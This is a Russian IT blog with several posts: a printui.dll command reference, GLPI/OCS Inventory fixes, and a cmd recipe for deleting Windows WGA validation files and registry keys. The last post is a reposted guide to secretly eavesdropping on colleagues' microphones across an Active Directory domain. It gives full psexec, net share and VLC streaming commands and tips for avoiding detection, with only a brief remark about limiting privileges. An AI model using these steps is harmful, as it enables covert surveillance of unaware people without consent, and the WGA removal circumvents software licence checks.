понедельник, 7 февраля 2011 г.

Большая компания?

Сейчас работаю во второй большой компании (я бы сказал - в корпорации) за мою IT-карьеру. Были и небольшие фирмочки, но вот как-то не то. Очередной раз бороздя просторы Великого и Необятного наткнулся на статью "7 причин, почему стоит работать в большой компании ". Согласен по всем пунктам!



среда, 5 января 2011 г.

Как отключить WGA-уведомления

Хуух!
Есть у меня знакомец, которого я пользую аки клиента по поводу обслуживания его компа. Стоит у него лицензионная Windows XP. После очередной установки обновлений (!) у него стало выводиться уведомление о том, что его копия Windows не прошла проверку подлинности. Как следствие, вместо весёленьких обоев рабочего стола - чёрный фон и постоянное надоедание уведомлениями. Поиск в базе знаний Майкрософта ничего вразумительного не дал.
Пришлось включить смекалку и природное любопытство :)
Итак! Отключаем надоедливые уведомления-напоминания и возвращаем весёленькие обои на рабочий стол! :)

1. Запускаем cmd.exe
2. cd %windir%\system32\dllcache
3. del wga*.*
4. cd ..
5. ren wga*.* wga*.old
6. regsvr32 %windir%\system32\legitcheckcontrol.dll /u
7. Запускаем regedit.exe
8. Удаляем ключ реестра HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\ CurrentVersion\Winlogon\Notify\WgaLogon
9. Удаляем ключ реестра HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows \CurrentVersion\Uninstall\WgaNotify
10. Перезагружаем комп
11. Запускаем cmd.exe
12. cd %windir%\system32
13. del *.old
14. del legitcheckcontrol.dll

Вот и всё! Никто и ничто не надоедает напоминаниями и не меняет весёленькие обои рабочего стола на бездонную черноту глубокого космоса :)



понедельник, 22 ноября 2010 г.

Пользовательский интерфейс принтера

Использование: rundll32 printui.dll,PrintUIEntry [параметры] [@командный файл]
/a[имя_файл] имя двоичного файла
/b[имя] основное имя принтера
/c [имя] UNC-имя компьютера, где выполняется команда
/dl удаление локального принтера
/dn удаление подключения к сетевому принтеру
/dd удаление драйвера принтера
/e вывод параметров настройки печати
/f[file] или информационный файл, или выходной файл
/ga добавление подключений компьютеров к принтеру (подключение распространяется на компьютер пользователя в момент входа в систему)
/ge перечисление подключений компьютеров к принтеру
/gd удаление подключений компьютеров к принтеру (подключение удаляется в момент входа пользователя в систему)
/h[arch] архитектура драйвера, принимает значения: x86 | Itanium | x64
/ia установка драйвера принтера с помощью информационного файла
/id установка драйвера принтера с помощью мастера установки драйверов принтеров
/if установка принтера с помощью информационного файла
/ii установка принтера с помощью мастера установки принтеров и информационного файла
/il установка принтера с помощью мастера установки принтеров
/in добавление подключения к принтеру
/j[provider] имя системы печати
/k печать пробной страницы на выбранном принтере, не может использоваться с другими командами установки принтера
/l[path] путь к исходному размещению драйвера принтера
/m[model] имя модели драйвера принтера
/n[name] имя принтера
/o показать очередь заданий на печать
/p отображение свойств принтера
/q скрытый режим без вывода сообщений об ошибках
/r[port] имя порта
/s показать свойства сервера
/Ss запись параметров принтера в файл
/Sr чтение параметров принтера из файла
Флаги при записи или чтении параметров принтера, помещаемые в конце команды:
2 PRINTER_INFO_2
7 PRINTER_INFO_7
c профиль цвета
d PrinterData
s дескриптор безопасности
g глобальный DevMode
m минимальный набор параметров
u пользовательский DevMode
r разрешить конфликты имен
f принудительное использование имени
p сопоставить порт
i кофликт имен
/u использовать существующий драйвер принтера если он установлен
/t[#] номер начальной страницы (с нуля)
/v[version] версия драйвера для Windows 95, Windows 98 или Me | Windows NT 4.0 | Windows 2000, Windows XP и Windows Server 2003 | Windows XP и Windows Server 2003
/w запрос драйвера у пользователя, если драйвер не найден в inf-файле
/y назначить принтер используемым по умолчанию
/Xg получить параметры принтера
/Xs установить параметры принтера
/z не разрешать автоматический общий доступ к этому принтеру
/Y не генерировать автоматически имя принтера
/K изменяет значение ключей /v и /h, разрешая значения 0,2,3, соответствующие Windows x64 и Windows IA64 | Windows NT x86 | Windows 4.0
/Z общий доступ к принтеру, используется только вместе с /if
/? вывод справки
@[file] файл аргументов командной строки
/Mw[сообщение] отображать предупредительное сообщение перед выполнение команды
/Mw[сообщение] отображать сообщение подтверждения перед выполнением команды
/W[флаги] указывает флаги и ключи для мастеров (добавления принтера и драйвера)
r позволить этим мастерам перезапускаться с последней страницы
/G[флаги] указывает глобальные флаги и ключи
w подавляет предупреждения интерфеса пользователя по установке драйвера (супер тихий режим)

Примеры:
Запуск свойств сервера:
rundll32 printui.dll,PrintUIEntry /s /t1 /n\\machine
Запуск свойств принтера:
rundll32 printui.dll,PrintUIEntry /p /n\\machine\printer
Локальный запуск мастера установки принтеров:
rundll32 printui.dll,PrintUIEntry /il
Запуск мастера установки принтеров на компьютере \\machine:
rundll32 printui.dll,PrintUIEntry /il /c\\machine
Запуск показа очереди:
rundll32 printui.dll,PrintUIEntry /o /n\\machine\printer
Запуск установки с помощью информационного файла:
rundll32 printui.dll,PrintUIEntry /if /b "Test Printer" /f %windir%\inf\ntprint.inf /r "lpt1:" /m "AGFA-AccuSet v52,3"
Запуск мастера установки принтеров с помощью информационного файла:
rundll32 printui.dll,PrintUIEntry /ii /f %windir%\inf\ntprint.inf
Добавление подключений компьютеров к принтеру (подключение распространяется на компьютер пользователя в момент входа в систему):
rundll32 printui.dll,PrintUIEntry /ga /c\\machine /n\\machine\printer /j"LanMan Print Services"
Удаление подключений компьютеров к принтеру (подключение удаляется в момент входа пользователя в систему):
rundll32 printui.dll,PrintUIEntry /gd /c\\machine /n\\machine\printer
Перечисление подключений компьютеров к принтеру:
rundll32 printui.dll,PrintUIEntry /ge /c\\machine
Добавление драйвера принтера с помощью информационного файла:
rundll32 printui.dll,PrintUIEntry /ia /c\\machine /m "AGFA-AccuSet v52,3" /h "x86" /v "Windows 2000, Windows XP и Windows Server 2003" /f %windir%\inf\ntprint.inf
Добавить драйвер принтера:
rundll32 printui.dll,PrintUIEntry /ia /K /c\\machine /m "AGFA-AccuSet v52,3" /h "Windows NT x86" /v 3
Удаление драйвера принтера:
rundll32 printui.dll,PrintUIEntry /dd /c\\machine /m "AGFA-AccuSet v52,3" /h "x86" /v "Windows 2000, Windows XP и Windows Server 2003"
Удалить драйвер принтера:
rundll32 printui.dll,PrintUIEntry /dd /K /c\\machine /m "AGFA-AccuSet v52,3" /h "Windows NT x86" /v 3
Назначение принтера используемым по умолчанию:
rundll32 printui.dll,PrintUIEntry /y /n "printer"
Указание описания принтера:
rundll32 printui.dll,PrintUIEntry /Xs /n "printer" comment "My Cool Printer"
Получение параметров принтера:
rundll32 printui.dll,PrintUIEntry /Xg /n "printer"
Получение параметров принтера и запись их в файл:
rundll32 printui.dll,PrintUIEntry /f "results.txt" /Xg /n "printer"
Справка об установке параметров принтера:
rundll32 printui.dll,PrintUIEntry /Xs /n "printer" ?
Запись всех параметров принтера в файл:
rundll32 printui.dll,PrintUIEntry /Ss /n "printer" /a "file.dat"
Восстановление всех параметров принтера из файла:
rundll32 printui.dll,PrintUIEntry /Sr /n "printer" /a "file.dat"
Запись сведений принтера уровня 2 в файл:
rundll32 printui.dll,PrintUIEntry /Ss /n "printer" /a "file.dat" 2
Восстановление дескриптора безопасности из файла:
rundll32 printui.dll,PrintUIEntry /Sr /n "printer" /a "file.dat" s
Восстановление глобального devmode и данных принтера из файла:
rundll32 printui.dll,PrintUIEntry /Sr /n "printer" /a "file.dat" g d
Восстановление минимального набора параметров из файла и разрешение имени порта:
rundll32 printui.dll,PrintUIEntry /Sr /n "printer" /a "file.dat" m p



пятница, 22 октября 2010 г.

Категории для ПО

Связка OSCI-GLPI настроена, информация импортируется. Написал правила присвоения категорий для ПО.
Но они применяются только к свежеимпортируемым компьютерам. А как быть с теми, которые уже были импортированы раньше (тем более, правила присвоения категорий для ПО писались на их основе)?

Оказывается, надо открыть раздел "Программное обеспечение", выбрать ПО, которому надо присвоить категорию на основе правил, и применить опцию "Пересчитать Категорию" (выбирается из списка внизу).
Вуаля!

P.S. Ну, кто бы мог подумать!?

Кросспост из ЖЖ

Борьба за кириллицу

Чтобы не было проблем с отображением кириллицы в GLPI после импорта информации из OCSI, необходимо перед установкой GLPI сделать правку одного файла.
Для GLPI 0.72.4 это файл /glpi/inc/ocsng.class.php, для GLPI 0.78 - /glpi/inc/dbmysql.class.php:
строку (57 - для GLPI 0.72.4, 55 - для GLPI 0.78)
$this->dbenc="latin1";
заменить на
$this->dbenc="utf8";
Я до последнего надеялся, что в последнем релизе 0.78 это исправят, но пришлось, как обычно, править самому.

Кросспост из ЖЖ

четверг, 21 октября 2010 г.

Французы таки извращенцы!

Занимаюсь настройкой связки свежеустановленных OCS Inventory NG и GLPI.
Не понравилась мне информация об одной рабочей станции в GLPI. Решил зайти в OSCI, проверить ещё и там. Логинюсь, нахожу нужную рабочую станцию и... всё. Нету кликабельной ссылки, дабы посмотреть на собранную информацию, хотя раньше (до переустановки) была. В разных браузерах открывал - результат тот же.
Оказывается, чтобы включить этот функционал, надо залогиниться, разлогиниться, кликнуть по флажку выбора языка и залогиниться снова. И вуаля - теперь можно кликать на имени рабочей станции, дабы увидеть собранную информацию.
Ну, разве это не извращение?!

Кросспост из ЖЖ

вторник, 28 сентября 2010 г.

Подслушиваем в AD



Введение

Я только недавно столкнулся с виндовыми доменами (Active Directory) и познаю много нового и удивительного. Так уж получилось, что значительное количество пользователей в домене организации имеют права локальных админов (технические специалисты, программисты и другие) (ведь не редко так бывает?). Но последствия от этого колоссальны. В данной статье мы рассмотрим как можно подслушивать звуки (разговоры, переговоры) на удаленных машинах.



Необходимо иметь

  • Пользователя в AD с правами локальных админов (или просто знать пароль от локальных админов)

  • Аппаратное средство захвата звука (микрофон) на целевой машине. Наиболее удобный случай — целевая машина является ноутбуком, там встроенный микрофон (и камера :D). Так же нам повезло, если на удаленной машине используется веб-камера или наушники с микрофоном. В противном случае часто можно и самому воткнуть микрофон без палева.

  • Программа захвата и передачи мультимедиа по сети. Будем использовать плеер vlc. (никаких троянов! :))

  • Программа удаленного запуска процессов. Воспользуется psexec из набора PsTools. Великолепно подходит для AD, правда для ее использования как раз и надо иметь права локального админа на целевой машине. Примечательно, что запущенные процессы исполняются от имени SYSTEM (!).



Практика


  1. Для начала нам нужно закинуть дистрибутив vlc на удаленную машину, если его там не было. Это можно сделать воспользовавшись системными общеми ресурсами типа C$, D$… то есть \\target\C$\. Если общих ресурсов не открыто (значит специально закрыли), то можно будет открыть общий сетевой ресурс при помощи PsExec командой вида:

    net share C$=C:\

    Символ $ на конце означает что сетевой ресурс не будет отображаться в списке открытых сетевых ресурсов компьютера по умолчанию. И так, тривиальным образом закидываем дистрибутив vlc на удаленную машину.

  2. Далее, для запуска vlc нам нужен cmd от удаленной машины. Воспользуемся PsExec, выполнив команду типа:

    psexec.exe \\target\ cmd

    Соответственно мы получим cmd от целевой машины. Окна запущенных программ не будут отображаться на ней (будут, если использовать ключ -i у PsExec). Кстати, PsExec умеет заливать запускаемый файл на удаленную машину, если указать ключ -c. Идем в папку с дистрибутивом vlc.


  3. Теперь самое интересное: запуск vlc с необходимыми параметрами. Для определения параметров командной строки для запуска vlc, мы запустим его у себя, выставим необходимые настройки и посмотрим что за команда получилась. Запускаем vlc, нажимаем медиа -> потоковое вещание. Вкладка «Устройство захвата». Видео устройство поставим на «нет» для избежания лишних ошибок в случае отсутствия камеры и обнаружения нас, в случае если на камере загорится лампочка. Ставим галочку в низу «дополнительные параметры» и смотрим параметры командрой строки.



    Берем от туда "dshow://" (то есть источник — устройства захвата) и " :dshow-vdev=none :dshow-adev= :dshow-caching=200" (то есть, видео устройство — нет; аудио устройство — по умолчанию; кэширование — 200 мс.). Теперь надо настроить вещание нашего мультимедиа, ждем «Поток». В пути назначения добавляем желаемые пути. Я выбрал http с портом 8080, то есть на целевой машине поднимается веб-сервер, с которого можно слушать. Предпочтительнее, конечно, выбирать вещание на нашу машину (или не нашу, от куда перенаправлять при помощи netcat). Уберем галку «включить перекодирование». Перейдем во вкладку параметры и скопируем получившиеся настройки.



    У меня это ":sout=#http{mux=ffmpeg{mux=flv},dst=:8080/} :no-sout-rtp-sap :no-sout-standard-sap :sout-keep"

  4. Таким образом, команда запуска vlc на удаленной машине принимает вид:

    vlc.exe dshow:// :dshow-vdev=none :dshow-adev= :dshow-caching=200 :sout=#transcode{vcodec=h264,vb=0,scale=0,acodec=mp4a,ab=128,channels=2,samplerate=44100}:http{mux=ffmpeg{mux=flv},dst=:8080/} :no-sout-rtp-sap :no-sout-standard-sap :sout-keep

    Можем запускать. Если все хорошо, то целевая машина уже ожидает нашего соединения на порту 8080.

  5. Запускаем наш vlc на нашей машине, с которой будем слушать. Если подключение к веб серверу, то запустить можно с такими аргументами:

    vlc.exe http:// target:8080 (без пробела после http://)

    Если идет вещание на наш компьютер (например по udp на порт 1234), то запустить vlc следует так:

    vlc.exe udp://@:1234

  6. Если все путем, то слушаем





Заключения

Очень важно минимизировать привилегии пользователей AD.

PsExec работает через общедоступный ресурс admin$, но его закрытия могут негативно повлиять на работу в AD. Как точно, не гуглил, но мало ли.

С некоторыми модификациями способ прокатит не только в AD.



Линки

Хорошее описание PsExec

Wiki по VLC.

(c) Взято на ХабраХабре